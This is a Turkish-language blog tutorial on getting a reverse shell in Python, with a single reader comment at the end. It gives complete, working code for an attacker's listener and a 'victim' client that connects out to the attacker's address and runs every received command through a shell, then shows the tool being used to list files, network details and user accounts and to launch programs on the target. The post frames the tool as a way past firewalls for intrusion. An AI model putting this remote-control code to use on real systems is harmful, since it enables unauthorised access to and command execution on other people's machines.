Python:Reverse Shell Alma

Bildiğiniz üzere günümüzdeki güvenlik duvarları dışarıdan bir bağlantı talebine izin vermiyor ve ciddi bir filtreleme söz konusu.Madem biz doğrudan kurbana ulaşamıyoruz o zaman kurban bize ulaşsın mantığını kullanarak sızma işlemini kolaylaştırabiliriz.Peki bu nasıl olur ? tabiki reverse shell ile.

Reverse Shell Nedir?

Kurban sistemde çalıştırıldığında saldırganın dinlediği bir port’a bağlantı talebi gönderen ve saldırganın bu sayede kurban sistemde komut çalıştırmasına olanak sağlayan scriptlerdir.Bu yazıda python ile nasıl reverse shell alınacağına değineceğim.

Öncelikle python’da socket modülünü kullanacağız. Socket Çift yönlü olarak iletişim kurmamıza olanak sağlar .Lafı uzatmadan koda geçelim.

KOD

import socket

host="10.0.0.127"
port=54321
buffer = 1024
ex=(host,port)

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

sock.bind(ex)

print("[*] %s:%d server başlatıldı.."%(host,port))

sock.listen(1)

conn,address = sock.accept()
address = str(address)
address = address[2:-9]
print("[*] %s bağlandı .."%address)

while True:

    komut = input("shell:")

    if komut in "exit":
        conn.send(b"exit")
        conn.close()
        break
    else:
        conn.send(komut.encode())

        data = conn.recv(buffer)


        print(data)

Meali

import socket

Socket modülümüzü scripte dahil ettik

host="10.0.0.127"

ip adresimizi tanımladık.Ben iç ağda olduğum için local ip girdim siz eğer dış ağda çalışacaksanız NAT yapılandırmayı unutmayın.

port=54321
buffer = 1024
ex=(host,port)

Burada dinleyeceğimiz port numarası,alacağımız paketin boyutu(1024=1mb) ve basit bir tanım girdik.

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

AF_INET: ipv4 tanımı için kullanılır.

AF_INET6: ipv6 tanımı için kullanılır.

SOCK_STREAM: TCP ile haberleşme için kullanılır.

SOCK_DGRAM: UDP ile haberleşme için kullanılır.

sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

Oluşturduğumuz soketi tekrar tekrar kullanabilmek için bu tanımı yapmamız gerekiyor. Aksi halde soketin tekrar kullanılmasına izin verilmiyor.

sock.bind(ex)

print("[*] %s:%d server başlatıldı.."%(host,port))

sock.listen(1)

server’ı başlatıyoruz ve bir kişinin bağlanmasına izin veriyoruz.

conn,address = sock.accept()
address = str(address)
address = address[2:-9]
print("[*] %s bağlandı .."%address)

sock.accept() ile bağlantıya izin veriyoruz ama 2 değişken tanımladık çünkü ilk değişken bizim handle’ımız ikincisi ise bağlanan kişinin ip ve port bilgisini verir. Örneğin: (‘192.168.1.102’, 50618) böyle bir çıktıyla karşılaşmamak için basit bir düzenleme işleminden sonra ekrana bilgiyi basıyoruz.

while True:

    komut = input("shell:")

    if komut in "exit":
        conn.send(b"exit")
        conn.close()
        break

Madem bağlantıyı kurduk o zaman komut gireceğimiz bir input olmalı. Eğer girilen komut exit ise client’e “exit” kelimesini yollar haber veririz sonrada bağlantıya son verip programı sonlandırırız.

else:
        conn.send(komut.encode())

        data = conn.recv(buffer)


        print(data)

Aksi halde girilen komutun encode edilmiş halini gönderir ve cevap gelmesini bekleriz eğer cevap gelirse (sock.recv(1024)) ekrana yazdırırız.

Peki kurbanın çalıştıracağı kod ne olacak ?

KOD

import socket
import subprocess

host="10.0.0.127"
port=54321
buffer = 1024
ex=(host,port)

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

sock.connect(ex)

while True:

    komut = sock.recv(buffer).decode()

    if komut in "exit":
        sock.close()
        break

    else:

        exc = subprocess.Popen(komut,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        sock.send(exc.stdout.read())
        sock.send(exc.stderr.read())

Meali

Farkedeceğiniz gibi subprocess adlı bir modül çağırdık. Bu alt process çalıştırmamıza olanak sağlayan bir modül.

host="10.0.0.127"
port=54321
buffer = 1024
ex=(host,port)

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

Buralar bildiğiniz şeyler 🙂

sock.connect(ex)

ex değişkeninde tanımladığımız ip ve port bilgisini kullanarak bağlantı isteği yolladık.

while True:

    komut = sock.recv(buffer).decode()

    if komut in "exit":
        sock.close()
        break

Server’dan komut gelmesini bekleyip decode ederiz.Eğer komut exit ise soketi ve programı sonlandırır.

else:

        exc = subprocess.Popen(komut,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        sock.send(exc.stdout.read())
        sock.send(exc.stderr.read())

Aksi halde subprocess ile komutu çalıştırır ve standart giriş,çıkış,error paramterelerini de ekleyip çıktıyı doğru bir şekilde alıp server’a gönderir.

Örnek

Script’i çalıştırdığımızda 54321.port’u dinlediğimizi görüyoruz.

Client script’i çalıştırdığında ise bize kapı aralıyor ve bağlandığı bilgisini görüyoruz.

dir komutu ile karışık da olsa klasör ve dosyaları görüyoruz.

ipconfig komutu ile ip bilgisini görüyoruz.

powershell komutları da girebiliriz örneğin “powershell start-process notepad” komutu ile hedefte not defteri açtık.

net user komutu ile hedefteki kullanıcıları listeledik

Kısacası istediğimiz komut’u çalıştırabiliriz.Hayal gücünüze kalmış.Bu konu ile ilgili daha detaylı bir makale gelecek.

1 Yorum

  • Hibrit Usta
    Hibrit Usta
    Nisan 11, 2019 19:02'de

    Ellerinize sağlık,bilgilendirici bir makale oldu.

    Reply

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir